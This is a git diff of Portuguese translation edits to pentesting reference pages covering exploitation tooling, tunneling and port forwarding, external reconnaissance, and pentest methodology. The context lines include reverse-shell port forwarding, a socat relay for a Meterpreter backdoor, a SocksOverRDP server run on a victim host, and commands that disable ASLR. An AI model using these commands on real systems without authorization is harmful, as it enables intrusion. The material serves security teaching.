diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index af6558342..a12de0f01 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -121,18 +121,18 @@ gef➤ pattern search 0x6261617762616176 #### Endereços iguais no GDB -Ao depurar, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo: +Enquanto depurando, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo: - `unset env LINES` - `unset env COLUMNS` - `set env _=` _Coloque o caminho absoluto para o binário_ -- Exploit o binário usando a mesma rota absoluta +- Explore o binário usando a mesma rota absoluta - `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário #### Backtrace para encontrar funções chamadas Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Nesse caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar entrada do usuário.**\ -Você pode identificar facilmente esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas: +Você pode facilmente identificar esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -141,17 +141,17 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` -### Servidor GDB +### GDB server `gdbserver --multi 0.0.0.0:23947` (no IDA você deve preencher o caminho absoluto do executável na máquina Linux e na máquina Windows) ## Ghidra -### Encontrar offset da pilha +### Find stack offset **Ghidra** é muito útil para encontrar o **offset** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\ Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você precisa de um offset de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um offset de `0xac`.\ -&#xNAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ +_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ ![](<../../../images/image (1061).png>) @@ -159,13 +159,13 @@ Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você pr ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` -Obtenha todos os opcodes executados no programa. +Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile sem proteções\ -&#xNAN;**-o** --> Saída\ -&#xNAN;**-g** --> Salvar código (GDB poderá vê-lo)\ +**-o** --> Saída\ +**-g** --> Salvar código (GDB poderá vê-lo)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desativar o ASLR no linux **Para compilar um shellcode:**\ @@ -174,14 +174,14 @@ Obtenha todos os opcodes executados no programa. ## Objdump -**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\ -&#xNAN;**-Mintel** --> Sintaxe **Intel**\ -&#xNAN;**-t** --> Tabela de **Símbolos**\ -&#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\ -&#xNAN;**-s -j .dtors** --> seção dtors\ -&#xNAN;**-s -j .got** --> seção got\ +**-d** --> **Desmontar executável** seções (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\ +**-Mintel** --> Sintaxe **Intel**\ +**-t** --> Tabela de **Símbolos**\ +**-D** --> **Desmontar tudo** (endereço de variável estática)\ +**-s -j .dtors** --> seção dtors\ +**-s -j .got** --> seção got\ -D -s -j .plt --> seção **plt** **decompilada**\ -&#xNAN;**-TR** --> **Relocações**\ +**-TR** --> **Relocações**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\ **objdump -D ./exec | grep "VAR_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA). @@ -191,7 +191,7 @@ Obtenha todos os opcodes executados no programa. 2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## Mais +## More **ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\ diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 3711ad05e..c8dcfa0bf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Dica do Nmap > [!WARNING] -> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione. +> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta por ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione. ## **Bash** @@ -55,7 +55,7 @@ Porta Local --> Host comprometido (SSH) --> Onde quer que seja ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` -### Encaminhamento de Porta Reversa +### Reverse Port Forwarding Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host: ```bash @@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Você pode **túnel** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\ +Você pode **tunneling** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\ Por exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24 ```bash pip install sshuttle @@ -152,9 +152,9 @@ rportfwd stop [bind port] ``` Para notar: -- O **reencaminhamento de porta reversa do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**. +- O **reencaminhamento de porta reverso do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**. - O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P. -- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversa em portas altas. +- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversos em portas altas. ### rPort2Port local @@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route /,fork TCP4:: & ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### Meterpreter através de SSL Socat +### Meterpreter através do SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -356,7 +356,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**. -**Conecte-se** via **RDP** e faça o upload e execute o binário `SocksOverRDP-Server.exe` na máquina da vítima: +**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -364,11 +364,11 @@ Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando: ``` netstat -antb | findstr 1080 ``` -Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através dessa porta.** +Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através daquela porta.** ## Proxificar Aplicativos GUI do Windows -Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\ +Você pode fazer com que aplicativos GUI do Windows naveguem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\ Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\ Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar. @@ -392,7 +392,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ +Agora, se você configurar, por exemplo, no alvo o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222. ## YARP @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **é uma ferramenta para expor soluções à Internet em uma linha de comando.**\ -&#xNAN;_Exposition URI são como:_ **UID.ngrok.io** +_Exposition URI são como:_ **UID.ngrok.io** ### Instalação @@ -496,7 +496,7 @@ chmod a+x ./ngrok **Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -_É também possível adicionar autenticação e TLS, se necessário._ +_Também é possível adicionar autenticação e TLS, se necessário._ #### Tunneling TCP ```bash @@ -511,12 +511,12 @@ _É também possível adicionar autenticação e TLS, se necessário._ ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### Captura de chamadas HTTP +#### Sniffing HTTP calls -_Util útil para XSS, SSRF, SSTI ..._\ +_Uso útil para XSS, SSRF, SSTI ..._\ Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). -#### Tunelamento de serviço HTTP interno +#### Tunneling internal HTTP service ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 7d6e5254d..72f0527a3 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -34,7 +34,7 @@ Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio* amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Além disso, a enumeração de subdomínios do [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega e resume automaticamente os ASNs no final da varredura. +Além disso, a enumeração de subdomínios do [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega e resume automaticamente os ASNs ao final da varredura. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -57,7 +57,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt ### **Procurando vulnerabilidades** Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\ -Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\ +Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que você encontrar, deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\ **Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário **e** senhas **padrão e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domínios @@ -66,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-ne _Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._ -Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_. +Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_. ### **DNS Reverso** -Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) +Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -155,13 +155,13 @@ Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/d ### Informações de Mail DMARC -Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios que compartilham as mesmas informações de dmarc**. +Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios compartilhando as mesmas informações de dmarc**. ### **Tomada Passiva** Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas se esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**. -[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** que apontam para ela. +[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** apontando para ela. ### **Outras maneiras** @@ -169,20 +169,20 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem **Shodan** -Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS. +Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS. -Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas da web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível. ### **Procurando vulnerabilidades** -Verifique se há alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa. +Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa. Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\ -&#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ +_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ ## Subdomínios @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrá-los, como: +Existem **outros ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrar subdomínios, como: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Usa a API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obter subdomínios ```bash @@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado. +- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -319,11 +319,11 @@ Este projeto oferece **gratuitamente todos os subdomínios relacionados a progra Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **Força bruta de DNS** Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio. -Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: +Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -331,11 +331,11 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -E também IPs de bons resolvedores DNS. Para gerar uma lista de resolvedores DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -As ferramentas mais recomendadas para brute-force DNS são: +As ferramentas mais recomendadas para força bruta de DNS são: -- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou um brute-force DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos. +- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou uma força bruta de DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt @@ -365,7 +365,7 @@ Após ter encontrado subdomínios usando fontes abertas e força bruta, você po ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gera permutações. +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gere permutações. - Você pode obter as permutações do goaltdns **wordlist** [**aqui**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente). -- Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). +- Você pode obter as permutações do altdns **wordlist** em [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Hosts Virtuais** -Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**. +Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**. #### OSINT @@ -459,7 +459,7 @@ Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdo Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html). Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\ -&#xNAN;_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ +_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ ## IPs @@ -474,7 +474,7 @@ Você também pode verificar domínios apontando para um endereço IP específic ### **Procurando por vulnerabilidades** -**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**. +**Varra todas as portas dos IPs que não pertencem a CDNs** (pois é altamente provável que você não encontre nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**. **Encontre um** [**guia**](../pentesting-network/index.html) **sobre como escanear hosts.** @@ -510,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Brute-Force DNS**](#second-dns-bruteforce-round) para mais informações). +Então, com essas palavras, você deve gerar **permutations** (ver a [**Segunda Rodada de Força Bruta DNS**](#second-dns-bruteforce-round) para mais informações). Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** @@ -531,7 +531,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem ### **Procurando vulnerabilidades** -Emails serão úteis mais tarde para **brute-force em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing. +Emails serão úteis mais tarde para **forçar logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing. ## Vazamentos de Credenciais @@ -572,7 +572,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos) Dorks do Google, embora antigos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**. -_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá bloquear você muito em breve._ +_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google irá bloquear você muito em breve._ ### **Procurando vulnerabilidades** @@ -596,11 +596,11 @@ Existem também serviços gratuitos que permitem que você **escaneie repositór A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/index.html). -Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** +Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de código aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** ## Recapitulação -> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muito mais enumeração pode ser feita (veremos mais truques mais tarde). +> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muito mais enumeração pode ser feita (veremos mais truques depois). Então você já: diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 2bc1530db..ce74f4951 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -7,7 +7,7 @@
-_Logos do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Logos do Hacktricks desenhados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ ### 0- Ataques Físicos @@ -31,7 +31,7 @@ A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber qu ### **4-** [Procurando exploits de versão de serviço](../generic-hacking/search-exploits.md) -Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell... +Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit que lhe dê um shell... ### **5-** Serviços de Pentesting @@ -39,7 +39,7 @@ Se não houver nenhum exploit interessante para qualquer serviço em execução, **Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).** -**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(já que é a mais extensa).**\ +**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(pois é a mais extensa).**\ Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](../generic-hacking/search-exploits.md) pode ser encontrado aqui. **Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver). @@ -60,7 +60,7 @@ Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um shell reverso 